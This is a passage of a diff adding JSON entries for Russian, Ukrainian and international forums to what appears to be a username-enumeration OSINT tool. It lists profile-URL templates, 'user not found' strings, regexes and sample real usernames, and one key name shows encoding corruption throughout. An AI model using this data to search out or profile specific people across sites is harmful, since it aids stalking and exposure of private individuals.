Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scooterista.ru/index/8-0-{}", + "urlMain": "https://scooterista.ru", + "usernameON": "Dreamer", + "bad_site": "" + }, + "Forum_scotchmaltwhisky": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.scotchmaltwhisky.co.uk/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.scotchmaltwhisky.co.uk", + "usernameON": "William", + "bad_site": "" + }, + "Forum_scrambler": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scramblerforum.com/members/?username={}", + "urlMain": "https://www.scramblerforum.com", + "usernameON": "fatrob", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_scrapbookcampus": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://scrapbookcampus.com/invision/search/?q={}&quick=1&type=core_members", + "urlMain": "https://scrapbookcampus.com", + "usernameON": "jacques", + "bad_site": "" + }, + "Forum_scriptmen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scriptmen.ucoz.ru/index/8-0-{}", + "urlMain": "https://scriptmen.ucoz.ru", + "usernameON": "reix24", + "bad_site": "" + }, + "Forum_scripts-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scripts-money.clan.su/index/8-0-{}", + "urlMain": "https://scripts-money.clan.su", + "usernameON": "Diamond00744", + "bad_site": "" + }, + "Forum_scssoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.scssoft.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.scssoft.com", + "usernameON": "B787", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scuba": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.scuba-divers.ru/memberlist.php?username={}", + "urlMain": "http://forum.scuba-divers.ru/", + "usernameON": "bubonic", + "bad_site": "" + }, + "Forum_se-forever": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-forever.ucoz.com/index/8-0-{}", + "urlMain": "https://se-forever.ucoz.com", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_se-style": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-style.3dn.ru/index/8-0-{}", + "urlMain": "https://se-style.3dn.ru/", + "usernameON": "qwerty2244", + "bad_site": "" + }, + "Forum_se-zver": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-zver.ucoz.net/index/8-0-{}", + "urlMain": "https://se-zver.ucoz.net", + "usernameON": "magwrisK", + "bad_site": "" + }, + "Forum_se7ensins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.se7ensins.com/members/?username={}", + "urlMain": "https://www.se7ensins.com", + "usernameON": "mocolos", + "comments": "super", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_seabreeze": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.seabreeze.com.au/Members/Profile/Details.aspx?member={}", + "urlMain": "https://www.seabreeze.com.au", + "usernameON": "surfanimal", + "bad_site": "" + }, + "Forum_searchengines": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
", + "errorMsg2": "class=\"nothing-found__title", + "errorTyp��": "message", + "url": "https://searchengines.guru/ru/search?keyword=&author={}&sortByDate=false", + "urlMain": "https://searchengines.guru", + "usernameON": "LevShliman", + "bad_site": "" + }, + "Forum_sebezh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>
403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://secure-net.ucoz.ru/index/8-0-{}", + "urlMain": "https://secure-net.ucoz.ru", + "usernameON": "hcurcl", + "bad_site": "" + }, + "Forum_segaxtreme": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://segaxtreme.net/members/?username={}", + "urlMain": "https://segaxtreme.net", + "usernameON": "bluemoon95", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_selfsufficientculture": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.selfsufficientculture.com/members/?username={}", + "urlMain": "https://www.selfsufficientculture.com", + "usernameON": "daveb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sell-akk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sell-akk.at.ua/index/8-0-{}", + "urlMain": "http://sell-akk.at.ua", + "usernameON": "apelsin", + "bad_site": "" + }, + "Forum_semenovka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://semenovka.at.ua/index/8-0-{}", + "urlMain": "http://semenovka.at.ua", + "usernameON": "semenovka", + "bad_site": "" + }, + "Forum_semerkainfo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg3": "Вам закрыт доступ к конференции.", + "errorTyp��": "message", + "url": "http://www.semerkainfo.ru/forum/memberlist.php?username={}", + "urlMain": "http://www.semerkainfo.ru", + "usernameON": "DJTigra", + "bad_site": "" + }, + "Forum_semperficatholic": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://semperficatholic.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://semperficatholic.com", + "usernameON": "MarieT", + "bad_site": "" + }, + "Forum_seniorforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.seniorforums.com/members/?username={}", + "urlMain": "https://www.seniorforums.com", + "usernameON": "pinky", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_sens": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sens.ucoz.ru/index/8-0-{}", + "urlMain": "https://sens.ucoz.ru", + "usernameON": "AlexSpain", + "bad_site": "" + }, + "Forum_serebropol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebropol.ucoz.ru/index/8-0-{}", + "urlMain": "https://serebropol.ucoz.ru", + "usernameON": "kedrdek", + "bad_site": "" + }, + "Forum_serebryansk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebryansk.online/index/8-0-{}", + "urlMain": "https://serebryansk.online", + "usernameON": "Luintil", + "bad_site": "" + }, + "Forum_serega363": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serega363.ucoz.ru/index/8-0-{}", + "urlMain": "https://serega363.ucoz.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_serenesforest": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.serenesforest.net/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.serenesforest.net", + "usernameON": "Jedi", + "bad_site": "" + }, + "Forum_serial1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.serial1forum.com/members/?username={}", + "urlMain": "https://www.serial1forum.com", + "usernameON": "sunti", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_serien": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serienforum.com/search/?&q={}&type=core_members", + "urlMain": "https://www.serienforum.com", + "usernameON": "Redaktion", + "bad_site": "" + }, + "Forum_serioussite": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.serioussite.ru/index/8-0-{}", + "urlMain": "https://www.serioussite.ru", + "usernameON": "tisomard", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_serpentes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serpentes.ru/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://www.serpentes.ru", + "usernameON": "TRexfood", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_server1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://server1.ucoz.net/index/8-0-{}", + "urlMain": "https://server1.ucoz.net", + "usernameON": "Arthurunige", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_servethehome": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.servethehome.com/index.php?members/&username={}", + "urlMain": "https://forums.servethehome.com", + "usernameON": "chlastakov", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_servicestack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.servicestack.net/u/{}/summary", + "urlMain": "https://forums.servicestack.net/", + "usernameON": "lai", + "bad_site": "" + }, + "Forum_serwis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serwis.ucoz.ru/index/8-0-{}", + "urlMain": "https://serwis.ucoz.ru", + "usernameON": "sigushki", + "bad_site": "" + }, + "Forum_setcombg": { + "country": "🇧🇬", + "country_klas": "BG", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "<meta name=\"robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://forum.setcombg.com/members/{}.html", + "urlMain": "https://forum.setcombg.com", + "usernameON": "ganev", + "bad_site": "" + }, + "Forum_setter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://setter.borda.ru/?32-{}", + "urlMain": "https://setter.borda.ru", + "usernameON": "veronika12", + "bad_site": "" + }, + "Forum_sev-kav": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sev-kav.clan.su/index/8-0-{}", + "urlMain": "https://sev-kav.clan.su", + "usernameON": "tbes50203", + "bad_site": "" + }, + "Forum_sevenstring": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sevenstring.org/members/?username={}", + "urlMain": "https://sevenstring.org", + "usernameON": "maxofmetal", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_severushermione": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://severushermione.clan.su/index/8-0-{}", + "urlMain": "http://severushermione.clan.su", + "usernameON": "Olias", + "bad_site": "" + }, + "Forum_severussnape": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>СЕВАСТОПОЛЬСКИЙ ФОРУМ - Информация", + "errorTyp��": "message", + "url": "https://www.sevportal.info/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.sevportal.info", + "usernameON": "DarkWillow", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_sexchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlinefreechat.com/forum/members/?username={}", + "urlMain": "https://onlinefreechat.com", + "usernameON": "honeybear", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sexforum_top": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ru.sexforum.top/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ru.sexforum.top", + "usernameON": "Vzrosliy", + "bad_site": "" + }, + "Forum_sffworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sffworld.com/forum/members/?username={}", + "urlMain": "https://www.sffworld.com", + "usernameON": "redmage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sfinx-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://sfinx-cats.ucoz.ru/index/8-0-{}", + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameON": "Meggikliri", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sgvavia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sgvavia.ru/index/8-0-{}", + "urlMain": "https://www.sgvavia.ru", + "usernameON": "alla22", + "bad_site": "" + }, + "Forum_shaman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shaman.3dn.ru/index/8-0-{}", + "urlMain": "https://shaman.3dn.ru", + "usernameON": "vtaletkhfr", + "bad_site": "" + }, + "Forum_shanse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanse.ucoz.com/index/8-0-{}", + "urlMain": "https://shanse.ucoz.com", + "usernameON": "Юлия", + "bad_site": "" + }, + "Forum_shanson": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanson.ucoz.ru/index/8-0-{}", + "urlMain": "https://shanson.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_shatoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sherlar.3dn.ru/index/8-0-{}", + "urlMain": "https://sherlar.3dn.ru", + "usernameON": "dugimmump", + "bad_site": "" + }, + "Forum_shiachat": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.shiachat.com/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.shiachat.com", + "usernameON": "Hameedeh", + "bad_site": "" + }, + "Forum_shiftdelete": { + "country": "🇹🇷", + "country_klas": "TR", + "errorTyp��": "redirection", + "url": "https://forum.shiftdelete.net/uyeler/?username={}", + "urlMain": "https://forum.shiftdelete.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_shiptext": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shiptext.ucoz.ru/index/8-0-{}", + "urlMain": "https://shiptext.ucoz.ru", + "usernameON": "Taruto", + "bad_site": "" + }, + "Forum_shirokovskaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://широковская.рф/index/8-0-{}", + "urlMain": "http://широковская.рф", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_shkola-letovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkola-letovo.my1.ru/index/8-0-{}", + "urlMain": "https://shkola-letovo.my1.ru", + "usernameON": "belkazalesskaya", + "bad_site": "" + }, + "Forum_shkolnikov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkolnikov.clan.su/index/8-0-{}", + "urlMain": "https://shkolnikov.clan.su", + "usernameON": "Adelamow", + "bad_site": "" + }, + "Forum_shkval": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shoubiz.my1.ru/index/8-0-{}", + "urlMain": "https://shoubiz.my1.ru", + "usernameON": "eagles_yar", + "bad_site": "" + }, + "Forum_shumka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://shumka.at.ua/index/8-0-{}", + "urlMain": "http://shumka.at.ua", + "usernameON": "vikadroyp08", + "bad_site": "" + }, + "Forum_shustrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shustrov.clan.su/index/8-0-{}", + "urlMain": "https://shustrov.clan.su", + "usernameON": "Crayulin", + "bad_site": "" + }, + "Forum_shuumm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shuumm.ucoz.ru/index/8-0-{}", + "urlMain": "https://shuumm.ucoz.ru", + "usernameON": "shuumm", + "bad_site": "" + }, + "Forum_shvedun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.forum.shvedun.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.forum.shvedun.ru", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_siava": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://siava.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://siava.ru", + "usernameON": "Keks", + "comments": "cf", + "bad_site": 1 + }, + "Forum_sibcoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sibcoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://sibcoins.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_siberia_war": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr> :: Сибмама - о семье, беременности и детях", + "errorTyp��": "message", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.sibmama.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_siccness": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.siccness.net/xf/members/?username={}", + "urlMain": "https://www.siccness.net", + "usernameON": "muthafknmexican", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_siemens-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://siemens-club.ucoz.ru/index/8-0-{}", + "urlMain": "https://siemens-club.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_siemens-town": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://siemens-town.my1.ru/index/8-0-{}", + "urlMain": "https://siemens-town.my1.ru", + "usernameON": "pomoshigorigor", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sierraclubspb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://sierraclubspb.borda.ru/?32-{}", + "urlMain": "https://sierraclubspb.borda.ru", + "usernameON": "truevalve", + "bad_site": "" + }, + "Forum_sierrawireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.sierrawireless.com/u/{}/summary", + "urlMain": "https://forum.sierrawireless.com", + "usernameON": "guigui", + "bad_site": "" + }, + "Forum_sigerous": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sigerous.ru/index/8-0-{}", + "urlMain": "http://sigerous.ru", + "usernameON": "repteloid1111", + "bad_site": "" + }, + "Forum_silveradoev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradoevforum.com/members/?username={}", + "urlMain": "https://www.silveradoevforum.com", + "usernameON": "nebula1701", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silveradosierra": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradosierra.com/members/?username={}", + "urlMain": "https://www.silveradosierra.com", + "usernameON": "babock58", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silverstream": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Результатов поиска нет", + "errorMsg3": "Cloudflare", + "errorTyp��": "message", + "url": "https://f.simpleminecraft.ru/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://f.simpleminecraft.ru", + "usernameON": "delars", + "bad_site": "" + }, + "Forum_simracing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://forum.simracing.su/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.simracing.su", + "usernameON": "veter", + "bad_site": "" + }, + "Forum_sims3game": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sims3game.ucoz.ru/index/8-0-{}", + "urlMain": "https://sims3game.ucoz.ru", + "usernameON": "reveille", + "bad_site": "" + }, + "Forum_singaporebrides": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://singaporebrides.com/weddingforum/members/?username={}", + "urlMain": "https://singaporebrides.com", + "usernameON": "buzz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sitepoint": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\\"posts\\":[],\\"users\\":[],", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sitepoint.com/community/search?context=topic&q={}&search_type=users&skip_context=true", + "urlMain": "https://www.sitepoint.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_sivatherium": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://skachat-warcraft-3.ru/index/8-0-{}", + "urlMain": "https://skachat-warcraft-3.ru", + "usernameON": "Grandar", + "bad_site": "" + }, + "Forum_skateclass": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://sokrovische.ucoz.ru/index/8-0-{}", + "urlMain": "https://sokrovische.ucoz.ru", + "usernameON": "Visondela", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solana": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.solana.com/u/{}/summary", + "urlMain": "https://forum.solana.com", + "usernameON": "ilian", + "bad_site": "" + }, + "Forum_soligorsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soligorsk-info.ucoz.com/index/8-0-{}", + "urlMain": "https://soligorsk-info.ucoz.com", + "usernameON": "andydudyk", + "bad_site": "" + }, + "Forum_solikamsk1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://solikamsk1.ucoz.org/index/8-0-{}", + "urlMain": "https://solikamsk1.ucoz.org", + "usernameON": "Openair", + "bad_site": "" + }, + "Forum_solnechnyi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solnechnyi.ucoz.ru/index/8-0-{}", + "urlMain": "https://solnechnyi.ucoz.ru", + "usernameON": "eameln07", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solonkino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solonkino.3dn.ru/index/8-0-{}", + "urlMain": "https://solonkino.3dn.ru", + "usernameON": "tasya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solotouch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + 